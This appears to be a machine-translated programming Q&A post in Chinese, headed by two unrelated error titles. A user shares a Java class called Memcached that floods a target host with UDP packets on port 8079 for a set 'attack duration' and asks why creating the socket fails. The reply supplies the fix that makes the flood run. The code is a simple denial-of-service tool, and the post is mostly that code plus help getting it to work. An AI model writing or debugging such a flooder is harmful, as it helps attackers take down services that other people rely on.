[英]tomcat error: java.net.BindException: Cannot assign requested address (Bind failed)
[英]java.net.BindException: bind failed: EADDRNOTAVAIL (Cannot assign requested address)
运行以下代码时,我在socket = new DatagramSocket(8079, ip);
行中抛出异常说 java.net.BindException:绑定失败:EADDRNOTAVAIL(无法分配请求的地址)。 我不确定为什么会这样。 这是代码:
public Memcached(String target, int serverPort, int attackDuration) throws MalformedURLException {
targetURL = new URL("http://" + target);
this.serverPort = serverPort;
this.attackDuration = attackDuration * 1000;
}
@Override
public void run() {
long startTime = System.currentTimeMillis();
try {
ip = InetAddress.getByName(targetURL.toExternalForm().replace("http://", ""));
Log.d("tag1", ip.toString());
}
catch(UnknownHostException uhe) {
System.out.println("Unknown host");
ipAddressAbleToBeFound = false;
}
if (ipAddressAbleToBeFound) {
try {
socket = new DatagramSocket(8079, ip);
}
catch(SocketException se) {
System.out.println("Unable to send request, is it down already??");
se.printStackTrace();
socketAbleToBeCreated = false;
}
if (socketAbleToBeCreated) {
while(System.currentTimeMillis() < startTime + attackDuration) {
byte[] buffer = {10,23,12,31,43,32,24};
DatagramPacket packet = new DatagramPacket(buffer, buffer.length, ip, 8079);
try {
socket.send(packet);
}
catch(IOException ioe) {
System.out.println("I/O error occurred");
}
}
}
}
}
}
谢谢!
我想我通过socket = new DatagramSocket();
解决了这个问题。 而不是socket = new DatagramSocket(8079, ip);
. 看起来你不需要在 DatagramSocket 中指定端口和 InetAddress,你只需要在 DatagramPacket 中这样做。
